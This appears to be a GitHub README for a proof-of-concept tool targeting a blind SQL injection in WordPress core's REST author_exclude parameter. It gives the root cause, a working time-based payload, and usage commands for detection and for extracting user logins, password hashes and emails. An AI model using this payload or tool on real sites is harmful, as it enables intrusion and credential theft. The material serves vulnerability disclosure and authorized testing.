Skip to content

About

Non-destructive proof-of-concept and verification harness for CVE-2026-60137, a blind SQL injection in WordPress core (`WP_Query::author__not_in`), reachable via the REST API's `author_exclude` parameter.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

3 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 

Repository files navigation

CVE-2026-60137 — WordPress Core SQL Injection PoC

Non-destructive proof-of-concept and verification harness for CVE-2026-60137, a blind SQL injection in WordPress core (WP_Query::author__not_in), reachable via the REST API's author_exclude parameter.

Root Cause

WP_Query::get_posts() builds SQL by string-concatenating the author__not_in query variable into:

... AND {wpdb->posts}.post_author NOT IN ( <value> )

The value is sanitized (per-element absint) only when it arrives as an array. If a scalar string is delivered — the REST author_exclude parameter maps internally to author__not_in — the is_array() sanitization guard is skipped and the raw string lands inside the NOT IN (...) clause, resulting in SQL injection (CWE-89).

A payload of the form 1) OR SLEEP(6)# produces:

post_author NOT IN ( 1) OR SLEEP(6)# )

which parses as post_author NOT IN (1) OR SLEEP(6) (the trailing ) is consumed by the # comment) — a clean, time-based blind oracle with zero database writes.

Affected / Fixed

Affected 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
Fixed 6.8.6, 6.9.5, 7.0.2 (2026-07-17)
CVSS 3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9 (standalone sink)
Chained with CVE-2026-63030 (REST batch route confusion) → 9.8 pre-auth RCE on 6.9.0 – 7.0.1

Reachability notes

  • 6.9.0+ — sink reachable pre-auth via /wp-json/batch/v1 route confusion.
  • 6.8.x — the REST schema rejects a scalar author_exclude (HTTP 400) on the stock posts route, so the sink is typically reachable only when a plugin/theme forwards untrusted input, or through an authenticated session (--cookie) via the batch route.

What the script does

cve_2026_60137_poc.py is read-only against the database:

  1. Fingerprints the target (generator meta tag, feed, readme.html, /wp-json/ index) to check whether the version is in an affected range.
  2. Detects the injection with a time-based oracle: baseline vs. a SLEEP(0) parse-control vs. a SLEEP(n) payload, across several delivery vectors (direct REST routes, ?rest_route=, and the batch endpoint), and reports a verdict per vector.
  3. Optionally extracts a wp_users row (user_login, user_pass, user_email) via blind binary-search timing, strictly using SELECT/SLEEP — it never writes to the database.

Usage

# Fingerprint only, no payloads sent
python3 cve_2026_60137_poc.py --url https://target --safe

# Run the detection matrix
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3

# Authenticated session + extract wp_users row 1
python3 cve_2026_60137_poc.py --url https://target \
    --cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1

# Route through Burp, skip TLS verification, save machine-readable evidence
python3 cve_2026_60137_poc.py --url https://target \
    --proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json

Options

Flag Default Description
--url required Target base URL
--safe off Fingerprint only; send no payloads
--sleep 6 SLEEP() seconds used by the detection oracle
--samples 3 Timing samples per measurement (median is used)
--threshold 0.7 Fraction of --sleep treated as a positive delta
--extract off Extract a wp_users row via the blind oracle
--user-id 1 wp_users.ID to extract
--extract-sleep 2.0 SLEEP() seconds per extraction probe
--limit 64 Max characters per extracted field
--only-vector — Only test vectors whose name contains this string
--cookie — Authenticated cookie for auth-gated vectors
--proxy — HTTP(S) proxy, e.g. http://127.0.0.1:8080 (Burp)
--timeout 30 Request timeout in seconds
--no-verify-tls off Disable TLS certificate verification
--json-out — Write machine-readable evidence to a JSON file

Legal / Responsible Use

This tool is provided for authorized security testing only — penetration tests, CTFs, and research against systems you own or have explicit written permission to assess. Running it against systems without authorization is illegal. The author accepts no liability for misuse.

Any output written with --json-out may contain the tested URL, version fingerprint, and timing evidence — treat it as sensitive engagement data.

About

Non-destructive proof-of-concept and verification harness for CVE-2026-60137, a blind SQL injection in WordPress core (`WP_Query::author__not_in`), reachable via the REST API's `author_exclude` parameter.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages